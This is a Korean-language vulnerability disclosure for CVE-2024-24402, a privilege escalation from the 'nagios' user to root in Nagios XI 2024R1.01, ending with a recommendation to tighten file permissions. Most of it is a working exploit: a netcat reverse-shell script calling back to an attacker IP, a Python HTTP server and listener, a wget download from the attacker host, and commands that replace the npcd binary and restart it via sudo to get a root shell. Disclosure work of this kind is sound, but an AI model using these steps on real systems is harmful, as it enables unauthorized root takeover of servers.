취약점 보고서

CVE 발견자: Jarod Jaslow (MAWK)

취약점 세부 정보:

엔드포인트: Nagios XI 버전 2024R1.01
취약점 유형: "NAGIOS" 사용자로부터의 권한 상승
악용 결과: 대상 시스템에서 전체 루트 액세스 권한 획득

재현 단계:

1. Nagios XI 버전 2024R1.01의 새 인스턴스 생성:

다음에서 Nagios XI OVA 파일을 다운로드하세요: https://assets.nagios.com/downloads/nagiosxi/2024/ovf/nagiosxi-2024R1.0.1-64.ova
OVA를 배포하여 새 인스턴스를 생성합니다. -이전 보고서를 사용하여 서버에서 RCE를 획득하십시오.

2. 권한 상승 악용:

"NAGIOS" 사용자로 공격자 머신에 다음 내용의 파일을 생성합니다:
```
#!/bin/bash
nc -e /bin/bash <Attacker IP> 4445
```

Pasted image 20240118113554

Python HTTP 서버를 통해 공격자 머신에서 파일을 호스팅합니다:
```
python3 -m http.server 8000
```

Pasted image 20240118173813

공격자 머신에서 Netcat(NC) 리스닝 서버를 시작합니다:
```
nc -nlvp 4445
```

Pasted image 20240118173831

3. 피해자 컴퓨터에서 악용 실행:

공격자 머신에서 파일을 가져옵니다:
```
wget http://<Attacker IP>:8000/npcd
```

Pasted image 20240118173846

다음 명령을 실행하여 권한을 상승시키고 루트로 연결을 수신합니다:

sudo /usr/local/nagiosxi/scripts/manage_services.sh stop npcd
cp npcd /usr/local/nagios/bin/npcd
sudo /usr/local/nagiosxi/scripts/manage_services.sh start npcd

Pasted image 20240118173857

Pasted image 20240118173915

권장 사항:

루트로 실행되는 Nagios 서비스 실행 파일에 대해 "NAGIOS" 사용자가 쓰기 작업을 수행할 수 있는 권한을 제한하는 것이 좋습니다. 이는 Nagios 서비스와 관련된 디렉터리 및 파일에 대해 더 엄격한 파일 권한과 액세스 제어를 구현함으로써 달성할 수 있습니다.

이 문제는 새 릴리스에서 수정되어야 합니다.

CVE:

https://cve.mitre.org/cgi-bin/cvename.cgi?name=2024-24402

CVE-2024-24402

인기